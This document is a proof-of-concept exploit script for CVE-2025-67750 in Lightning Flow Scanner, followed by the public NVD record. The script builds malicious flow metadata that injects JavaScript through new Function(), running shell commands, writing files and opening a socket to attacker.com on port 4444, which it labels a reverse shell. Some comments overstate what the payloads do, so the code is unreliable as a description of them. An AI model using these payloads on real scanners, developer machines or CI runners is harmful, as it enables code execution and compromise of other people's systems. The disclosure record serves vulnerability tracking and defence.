CVE-2025-67750

/* CVE-2025-67750 PoC - Malicious Flow Metadata File This PoC demonstrates arbitrary JavaScript execution via APIVersion rule in Lightning Flow Scanner <= 6.10.5 */ // Create a malicious flow metadata file with embedded JavaScript payload const maliciousFlowMetadata = { Flow: { '@': { xmlns: 'http://soap.sforce.com/2006/04/metadata', apiVersion: '58.0' }, description: 'Malicious flow metadata', // The APIVersion rule evaluates this expression using new Function() // Attacker can inject arbitrary JavaScript here apiVersion: '${require("child_process").execSync("whoami")}' } }; // Example: Exfiltrate environment variables const exfilPayload = '${require("child_process").execSync("echo $PATH")}'; // Example: Write arbitrary file const fileWritePayload = '${require("fs").writeFileSync("/tmp/pwned","hacked")}'; // Example: Reverse shell payload const reverseShellPayload = '${require("net").createConnection(4444,"attacker.com")}'; console.log('PoC for CVE-2025-67750'); console.log('Generate malicious flow XML file and scan with vulnerable version'); console.log('Payload:', exfilPayload);

{"cve": {"id": "CVE-2025-67750", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:59.857", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lightning Flow Scanner provides a A CLI plugin, VS Code Extension and GitHub Action for analysis and optimization of Salesforce Flows. Versions 6.10.5 and below allow a maliciously crafted flow metadata file to cause arbitrary JavaScript execution during scanning. The APIVersion rule uses new Function() to evaluate expression strings, enabling an attacker to supply a malicious expression within rule configuration or crafted flow metadata. This could compromise developer machines, CI runners, or editor environments. This issue is fixed in version 6.10.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/Flow-Scanner/lightning-flow-scanner/commit/10f64a5eb193d8a777e453b25e910144e4540795", "source": "[email protected]"}, {"url": "https://github.com/Flow-Scanner/lightning-flow-scanner/releases/tag/core-v6.10.6", "source": "[email protected]"}, {"url": "https://github.com/Flow-Scanner/lightning-flow-scanner/security/advisories/GHSA-55jh-84jv-8mx8", "source": "[email protected]"}]}}